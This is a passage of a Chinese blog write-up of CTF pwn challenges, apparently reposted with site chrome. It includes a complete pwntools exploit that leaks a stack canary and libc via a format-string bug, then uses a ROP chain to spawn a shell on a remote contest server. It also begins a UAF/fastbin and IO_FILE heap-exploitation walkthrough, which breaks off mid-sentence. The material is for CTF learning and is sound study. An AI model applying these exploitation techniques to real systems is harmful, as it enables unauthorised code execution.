linux sort 0x7f,【真题解析】浅析CTF中PWN题型的解题思路

原标题:【真题解析】浅析CTF中PWN题型的解题思路

前言

写一下西湖论剑里的三道pwn题,主要讲一下第二道,因为后面我才发现自己解第二道好像是非预期解。。讲一下自己的解题思路吧。

1

PWN之一——Story

常规基础pwn,格式化字符串+ROP。

漏洞:

格式化字符串:

printf(&s);

栈溢出:

if( v1 < 0)

v1 = -v1;

if( v1 > 128)

v1 = 1024LL;

puts( "You can speak your story:");

rread((__int64)&s, v1);

思路:

1、格式化字符串先泄漏canary的值和__libc_start_main的值,得到libc

2、找ROP_gadget

3、栈溢出,覆盖到ROP,返回system

EXP:

frompwn import *

#p = process('./story')

p = remote( 'ctf3.linkedbyx.com',11045)

elf = ELF( './story')

libc = ELF( './libc.so')

p.recvuntil( 'Please Tell Your ID:')

p.sendline( '%15$p,%25$p')

p.recvuntil( 'Hello ')

data1 = p.recv( 18)

p.recvuntil( ',')

data2 = p.recv( 14)

data1 = int(data1, 16)

data2 = int(data2, 16) - 240

print hex(data1),hex(data2)

libc_base = data2 - libc.symbols[ '__libc_start_main']

system_addr = libc_base + libc.symbols[ 'system']

bin_addr = libc_base + libc.search( '/bin/sh').next()

p.recvuntil( 'Tell me the size of your story:')

p.sendline( '144')

p.recvuntil( 'You can speak your story:')

#gdb.attach(p)

payload = 'A'*136 + p64(data1) + 'A'*8 + p64(0x0000000000400bd3) + p64(bin_addr) + p64(system_addr)

p.sendline(payload)

p.interactive()

2

PWN之二——noinfoleak

一看程序就是没有view函数,需要自己想办法leak。因为不久之前刚练手了IO_FILE泄漏的缘故,所以第一时间想到的泄漏就是利用IO_FILE(所以搞的我头皮发麻

只有一个UAF的漏洞,但是足够了。malloc的最大size是0x7f,但是因为程序malloc时候自动加1的缘故,所以最大能拿到0x90的chunk。

漏洞点

UAF:

free(qword_6010A0[ 2* v0]); // UAF

思路

1、Fast bin attack到IO_FILE处

2、修改IO_write_base泄漏地址

3、Fast bin attack到__malloc_hook处

4、malloc触发getshell

实践

Fast bin attack大家都会我这里就不多说了,我这里比较蠢,还用了Double Free的方式来攻击,导致浪费了chunk,这里其实可以free掉之后修改fd来继续分配fake chunk。

因为我要分配到IO_FILE中,且它在libc中,所以我需要找一个接近于他的一个地址,那么最好的方法就是free掉chunk后的fd和bk指针了。

我先malloc一个0x7f的chunk,然后free。

再malloc 0x60大小,字节内容就填个A,防止破坏fd指针。

pwndbg> heap

0xdfd000 FASTBIN {

prev_size = 0x0,

size = 0x71,

fd = 0x7f1ef5c6cb41,

bk = 0x7f1ef5c6cbf8,

fd_nextsize = 0x4141414141414141,

bk_nextsize = 0x4141414141414141,

}

0xdfd070 FASTBIN {

prev_size = 0x0,

size = 0x21,

fd = 0x7f1ef5c6cb78,

bk = 0x7f1ef5c6cb78,

fd_nextsize = 0x20,

bk_nextsize = 0x70,

}

而后我们就可以愉快的fast bin attack了,先malloc两个0x60的chunk,而后都free,形成double free࿰

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值